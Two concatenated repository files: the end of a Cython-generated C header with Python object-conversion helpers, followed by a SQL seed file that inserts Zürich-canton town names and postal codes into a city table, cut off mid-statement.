#endif PyUnicode_Check(o)) { #if PY_VERSION_HEX < 0x03030000 char* defenc_c; PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL); if (!defenc) return NULL; defenc_c = PyBytes_AS_STRING(defenc); #if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII { char* end = defenc_c + PyBytes_GET_SIZE(defenc); char* c; for (c = defenc_c; c < end; c++) { if ((unsigned char) (*c) >= 128) { PyUnicode_AsASCIIString(o); return NULL; } } } #endif *length = PyBytes_GET_SIZE(defenc); return defenc_c; #else if (__Pyx_PyUnicode_READY(o) == -1) return NULL; #if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII if (PyUnicode_IS_ASCII(o)) { *length = PyUnicode_GET_LENGTH(o); return PyUnicode_AsUTF8(o); } else { PyUnicode_AsASCIIString(o); return NULL; } #else return PyUnicode_AsUTF8AndSize(o, length); #endif #endif } else #endif #if (!CYTHON_COMPILING_IN_PYPY) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) if (PyByteArray_Check(o)) { *length = PyByteArray_GET_SIZE(o); return PyByteArray_AS_STRING(o); } else #endif { char* result; int r = PyBytes_AsStringAndSize(o, &result, length); if (unlikely(r < 0)) { return NULL; } else { return result; } } } static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { int is_true = x == Py_True; if (is_true | (x == Py_False) | (x == Py_None)) return is_true; else return PyObject_IsTrue(x); } static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) { #if CYTHON_USE_TYPE_SLOTS PyNumberMethods *m; #endif const char *name = NULL; PyObject *res = NULL; #if PY_MAJOR_VERSION < 3 if (PyInt_Check(x) || PyLong_Check(x)) #else if (PyLong_Check(x)) #endif return __Pyx_NewRef(x); #if CYTHON_USE_TYPE_SLOTS m = Py_TYPE(x)->tp_as_number; #if PY_MAJOR_VERSION < 3 if (m && m->nb_int) { name = "int"; res = PyNumber_Int(x); } else if (m && m->nb_long) { name = "long"; res = PyNumber_Long(x); } #else if (m && m->nb_int) { name = "int"; res = PyNumber_Long(x); } #endif #else res = PyNumber_Int(x); #endif if (res) { #if PY_MAJOR_VERSION < 3 if (!PyInt_Check(res) && !PyLong_Check(res)) { #else if (!PyLong_Check(res)) { #endif PyErr_Format(PyExc_TypeError, "__%.4s__ returned non-%.4s (type %.200s)", name, name, Py_TYPE(res)->tp_name); Py_DECREF(res); return NULL; } } else if (!PyErr_Occurred()) { PyErr_SetString(PyExc_TypeError, "an integer is required"); } return res; } static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { Py_ssize_t ival; PyObject *x; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_CheckExact(b))) { if (sizeof(Py_ssize_t) >= sizeof(long)) return PyInt_AS_LONG(b); else return PyInt_AsSsize_t(x); } #endif if (likely(PyLong_CheckExact(b))) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)b)->ob_digit; const Py_ssize_t size = Py_SIZE(b); if (likely(__Pyx_sst_abs(size) <= 1)) { ival = likely(size) ? digits[0] : 0; if (size == -1) ival = -ival; return ival; } else { switch (size) { case 2: if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -2: if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case 3: if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -3: if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case 4: if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -4: if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; } } #endif return PyLong_AsSsize_t(b); } x = PyNumber_Index(b); if (!x) return -1; ival = PyInt_AsSsize_t(x); Py_DECREF(x); return ival; } static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { return PyInt_FromSize_t(ival); } #endif /* Py_PYTHON_H */ <file_sep>/sql/CodepostalSuisse.sql INSERT INTO Chrono.T_Ville VALUES ("CHE","Aeugst am Albis",8914,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aeugstertal",8914,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zwillikon",8909,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Affoltern am Albis",8910,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bonstetten",8906,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hausen am Albis",8915,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ebertswil",8925,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hedingen",8908,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kappel am Albis",8926,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hauptikon",8926,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Uerzlikon",8926,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Knonau",8934,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Maschwanden",8933,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mettmenstetten",8932,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Obfelden",8912,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ottenbach",8913,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rifferswil",8911,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stallikon",8143,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Uetliberg",8143,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wettswil",8907,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Adlikon b. Andelfingen",8452,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Benken ZH",8463,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Berg am Irchel",8415,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gräslikon",8415,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Buch am Irchel",8414,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dachsen",8447,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dorf",8458,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Feuerthalen",8245,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Langwiesen",8246,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Flaach",8416,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Flurlingen",8247,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Andelfingen",8450,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Henggart",8444,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Humlikon",8457,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kleinandelfingen",8451,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Alten",8453,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oerlingen",8461,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Nohl",8212,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Uhwiesen",8248,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Marthalen",8460,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ellikon am Rhein",8464,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberstammheim",8477,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ossingen",8475,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rheinau",8462,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Thalheim an der Thur",8478,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rudolfingen",8465,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wildensbuch",8465,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Trüllikon",8466,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Truttikon",8467,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Unterstammheim",8476,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Volken",8459,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Waltalingen",8468,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Guntalingen",8468,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bachenbülach",8184,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bassersdorf",8303,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bülach",8180,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dietlikon",8305,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Eglisau",8193,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Embrach",8424,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Freienstein",8427,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Teufen ZH",8428,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Glattfelden",8192,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zweidlen",8192,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hochfelden",8182,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Höri",8181,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hüntwangen",8194,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kloten",8302,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lufingen",8426,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Nürensdorf",8309,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberembrach",8425,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Glattbrugg",8152,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Opfikon",8152,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Glattpark (Opfikon)",8152,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rafz",8197,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rorbas",8427,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wallisellen",8304,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wasterkingen",8195,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wil ZH",8196,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Winkel",8185,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bachs",8164,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Boppelsen",8113,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Buchs ZH",8107,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dällikon",8108,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dänikon ZH",8114,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dielsdorf",8157,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hüttikon",8115,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Neerach",8173,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederglatt ZH",8172,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederhasli",8155,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Nassenwil",8155,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberhasli",8156,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederweningen",8166,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberglatt ZH",8154,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberweningen",8165,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Otelfingen",8112,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Regensberg",8158,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Regensdorf",8105,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Watt",8105,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ad<NAME>",8106,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rümlang",8153,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schleinikon",8165,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schöfflisdorf",8165,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stadel b. Niederglatt",8174,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Windlach",8175,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Steinmaur",8162,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sünikon",8162,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Weiach",8187,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bäretswil",8344,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Adetswil",8345,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bubikon",8608,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wolfhausen",8633,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tann",8632,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dürnten",8635,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Steg im Tösstal",8496,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fischenthal",8497,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gibswil",8498,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bertschikon (Gossau ZH)",8614,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grüt (Gossau ZH)",8624,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gossau ZH",8625,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ottikon (Gossau ZH)",8626,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grüningen",8627,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hinwil",8340,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wernetshausen",8342,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rüti ZH",8630,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aathal-Seegräben",8607,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wald ZH",8636,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Laupen ZH",8637,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wetzikon ZH",8620,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wetzikon ZH",8623,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Adliswil",8134,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hirzel",8816,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sihlbrugg Station",8135,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sihlwald",8135,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Horgen",8810,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Horgenberg",8815,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hütten",8825,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kilchberg ZH",8802,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Langnau am Albis",8135,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberrieden",8942,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Richterswil",8805,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Samstagern",8833,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rüschlikon",8803,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schönenberg ZH",8824,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gattikon",8136,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Thalwil",8800,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Au ZH",8804,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wädenswil",8820,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Erlenbach ZH",8703,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Herrliberg",8704,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hombrechtikon",8634,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Feldbach",8714,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Forch",8127,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Küsnacht ZH",8700,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Männedorf",8708,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Meilen",8706,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oetwil am See",8618,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stäfa",8712,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Uerikon",8713,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Uetikon am See",8707,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zumikon",8126,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zollikerberg",8125,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zollikon",8702,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fehraltorf",8320,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hittnau",8335,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kemptthal",8310,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grafstal",8310,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Winterberg ZH",8312,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lindau",8315,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tagelswangen",8317,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pfäffikon ZH",8330,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Auslikon",8331,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Madetswil",8322,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gündisau",8322,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Russikon",8332,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rumlikon",8332,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Weisslingen",8484,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Neschwil",8484,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Theilingen",8484,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wila",8492,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wildberg",8489,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schalchen",8489,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ehrikon",8489,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gockhausen",8044,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dübendorf",8600,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Egg b. Zürich",8132,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hinteregg",8132,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Esslingen",8133,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fällanden",8117,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pfaffhausen",8118,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Benglen",8121,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Greifensee",8606,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Binz",8122,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ebmatingen",8123,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Maur",8124,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mönchaltorf",8617,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schwerzenbach",8603,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Nänikon",8606,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Uster",8610,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sulzbach",8614,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wermatswil",8615,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Freudwil",8615,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Riedikon",8616,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Volketswil",8604,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gutenswil",8605,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brüttisellen",8306,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wangen b. Dübendorf",8602,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Altikon",8479,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brütten",8311,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rutschwil (Dägerlen)",8471,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dägerlen",8471,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberwil (Dägerlen)",8471,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Berg (Dägerlen)",8471,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bänk (Dägerlen)",8471,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dättlikon",8421,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dinhard",8474,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Elgg",8353,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ellikon an der Thur",8548,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Elsau",8352,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hagenbuch ZH",8523,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hettlingen",8442,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hofstetten ZH",8354,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dickbuch",8354,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aesch (Neftenbach)",8412,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Riet (Neftenbach)",8412,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hünikon (Neftenbach)",8412,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Neftenbach",8413,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pfungen",8422,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rickenbach ZH",8545,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rickenbach Sulz",8545,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schlatt ZH",8418,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Seuzach",8472,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Turbenthal",8488,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schmidrüti",8495,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ricketwil (Winterthur)",8352,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Winterthur",8400,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Winterthur",8404,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Reutlingen (Winterthur)",8404,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stadel (Winterthur)",8404,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Winterthur",8405,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Winterthur",8406,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Winterthur",8408,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Winterthur",8409,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sennhof (Winterthur)",8482,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kollbrunn",8483,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rikon im Tösstal",8486,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zell ZH",8487,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rämismühle",8487,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aesch ZH",8904,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Birmensdorf ZH",8903,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dietikon",8953,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fahrweid",8951,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Geroldswil",8954,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberengstringen",8102,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oetwil an der Limmat",8955,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schlieren",8952,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Uitikon Waldegg",8142,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Unterengstringen",8103,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Urdorf",8902,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Weiningen ZH",8104,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zürich",8001,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zürich",8002,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zürich",8003,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zürich",8004,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zürich",8005,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zürich",8006,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zürich",8008,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zürich",8032,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zürich",8037,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zürich",8038,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zürich",8041,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zürich",8044,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zürich",8045,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zürich",8046,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zürich",8047,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zürich",8048,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zürich",8049,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zürich",8050,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zürich",8051,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zürich",8052,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zürich",8053,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zürich",8055,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zürich",8057,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zürich",8064,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Effretikon",8307,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ottikon b. Kemptthal",8307,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Illnau",8308,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Agasul",8308,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kyburg",8314,"ZH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Saland",8493,"ZH"); INSERT 